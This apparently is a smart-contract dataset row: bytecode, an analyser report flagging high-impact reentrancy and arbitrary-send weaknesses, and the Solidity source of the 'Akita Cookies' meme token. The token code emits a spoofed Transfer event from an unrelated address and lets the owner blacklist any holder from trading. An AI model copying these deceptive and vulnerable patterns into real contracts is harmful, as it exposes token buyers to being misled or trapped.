ffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b600e6020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154905083565b60008060006103e79250600091505b60055482101561254757600182600554030390508373ffffffffffffffffffffffffffffffffffffffff16600e600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561253a57809250612547565b81806001019250506124b4565b5050919050565b60106020528060005260406000206000915054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006001905090565b60011515601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156125fc57600080fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055505050565b60011515601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156126a657600080fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806007819055505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561274e57600080fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663552079dc6127a361279c6003546005613256565b6064613291565b6040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b1580156127ea57600080fd5b505af11580156127fe573d6000803e3d6000fd5b50505050506128256003546128206128196003546005613256565b6064613291565b61330d565b6003819055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600080600080612866613628565b6000803373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff161415156128a357600080fd5b6128ac336132ac565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209850600097506000965060009550600094505b600454851015612a5f57898560088110151561291657fe5b60200201519350600f600086815260200190815260200160002060806040519081016040529081600082015481526020016001820154815260200160028201548152602001600382015481525050925082606001518411806129785750600084105b1561298257600080fd5b6000841115612a52578860000160008681526020019081526020016000205491506129cf83606001516129ca8b60000160008981526020019081526020016000205487613238565b6133f3565b89600001600087815260200190815260200160002081905550612a1d86612a18612a0e8c60000160008a8152602001908152602001600020548661330d565b8660400151613256565b613238565b9550612a3688612a31856000015187613256565b613238565b9750612a4f87612a4a856020015187613256565b613238565b96505b84806001019550506128fe565b34871015612a6c57600080fd5b612a758761340c565b9050612a808161342a565b612a89816134ff565b612aa5612aa034612a9b846003613256565b61330d565b610f3c565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b04eb639338a6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015612b6a57600080fd5b505af1158015612b7e573d6000803e3d6000fd5b50505050612b8c3387613326565b7f02e9063fb7f9e6daa6e672992e8fe10bb5a0dca6e825c7c92bb3fd2399bd6a6f338b8a8a8a604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200185600860200280838360005b83811015612c0f578082015181840152602081019050612bf4565b505050509050018481526020018381526020018281526020019550505050505060405180910390a150505050505050505050565b60095481565b600080600060055484101515612c5e57600080fd5b600e600085815260200190815260200160002092508260020154341080612cd457508260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15612cde57600080fd5b8260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150612d12836002015461340c565b9050612d1d8161342a565b612d26816134ff565b612d42612d3d34612d38846003613256565b61330d565b610f3c565b612d4b336132ac565b60008273ffffffffffffffffffffffffffffffffffffffff16141515612d7557612d74826132ac565b5b338360000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fbcccef37dc5a9bc77287d6b8f4fbb05a180026ecd926d06874d3372529d42f05338584604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a150505050565b6000803373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141515612e9a57600080fd5b612eb1612eaa6007546096613256565b6064613291565b9150813410151515612ec257600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515612f1f57600080fd5b612f36612f2f600754606e613256565b6064613291565b9050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612fa0573d6000803e3d6000fd5b50612fb3612fae348361330d565b610f3c565b33600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550816007819055507fc3cdf29aa3f75fce61cca7fc1980e6553c62bdfeb8f1843e23f42f13da833f3e3334604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60085481565b60006020528060005260406000206000915090505481565b600d6020528060005260406000206000915090508060010154908060020154908060030154908060040160009054906101000a900460ff16905084565b60055481565b60008060011515601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561312d57600080fd5b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020915061317a83600854613256565b905061318a826001015482613238565b82600101819055507fa5756f7c2358a76cfa31cb55434e0283e38422c566bb5c4c64e72b22e6c755b784846001604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a150505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600080828401905083811015151561324c57fe5b8091505092915050565b600080600084141561326b576000915061328a565b828402905082848281151561327c57fe5b0414151561328657fe5b8091505b5092915050565b600080828481151561329f57fe5b0490508091505092915050565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506132f882611a75565b81600101819055504281600301819055505050565b600082821115151561331b57fe5b818303905092915050565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050613377816002015483613238565b81600201819055507f49c6d128c3eabc38055132014e6d81cc9d16ea6e5264c025364a0364f6e0e0b5838260020154604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b60008183106134025781613404565b825b905092915050565b600061342361341c836005613256565b6064613291565b9050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613492573d6000803e3d6000fd5b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156134fb573d6000803e3d6000fd5b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663552079dc826040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561358557600080fd5b505af1158015613599573d6000803e3d6000fd5b505050505050565b6080604051908101604052806000815260200160008152602001600081526020016000151581525090565b606060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081525090565b61010060405190810160405280600890602082028038833980820191505090505090565b6080604051908101604052806000815260200160008152602001600081526020016000815250905600a165627a7a723058209b0286f5f89404c5332abd0ffdd1fcec70775cc8348cf7f1abe37bd4b72afa700029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,461 |
0xf0c8ba02ec1d22827c98327e29e14ee7bed1cc0f
|
/**
*Submitted for verification at Etherscan.io on 2021-06-02
*/
/*
t.me/aookies
Akita Cookies
$AOOKIES
//CMC and CG application done.
//Marketing paid.
//Limit Buy yes (max 0.5%)
//Liqudity Locked
//No Devwallets
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AOOKIES is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Akita Cookies";
string private constant _symbol = unicode'AOOKIES 🍪';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 7;
_teamFee = 7;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 7;
_teamFee = 7;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4.25e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dc8565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061290e565b61045e565b6040516101789190612dad565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f4a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128bf565b61048d565b6040516101e09190612dad565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612831565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612fbf565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061298b565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612831565b610783565b6040516102b19190612f4a565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612cdf565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dc8565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061290e565b61098d565b60405161035b9190612dad565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061294a565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129dd565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612883565b61121a565b6040516104189190612f4a565b60405180910390f35b60606040518060400160405280600d81526020017f416b69746120436f6f6b69657300000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161365a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2c9092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612eaa565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612eaa565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b90565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8b565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612eaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f414f4f4b49455320f09f8daa0000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612eaa565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613260565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611cf9565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612eaa565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612f2a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061285a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061285a565b6040518363ffffffff1660e01b8152600401610e1f929190612cfa565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061285a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612d4c565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a06565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550673afb087b876900006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612d23565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd91906129b4565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612eaa565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612e6a565b60405180910390fd5b6111d860646111ca83683635c9adc5dea00000611ff390919063ffffffff16565b61206e90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161120f9190612f4a565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612e2a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612f4a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612eea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612dea565b60405180910390fd5b60008111611597576040517f08c379a00000000000000000000000000000000000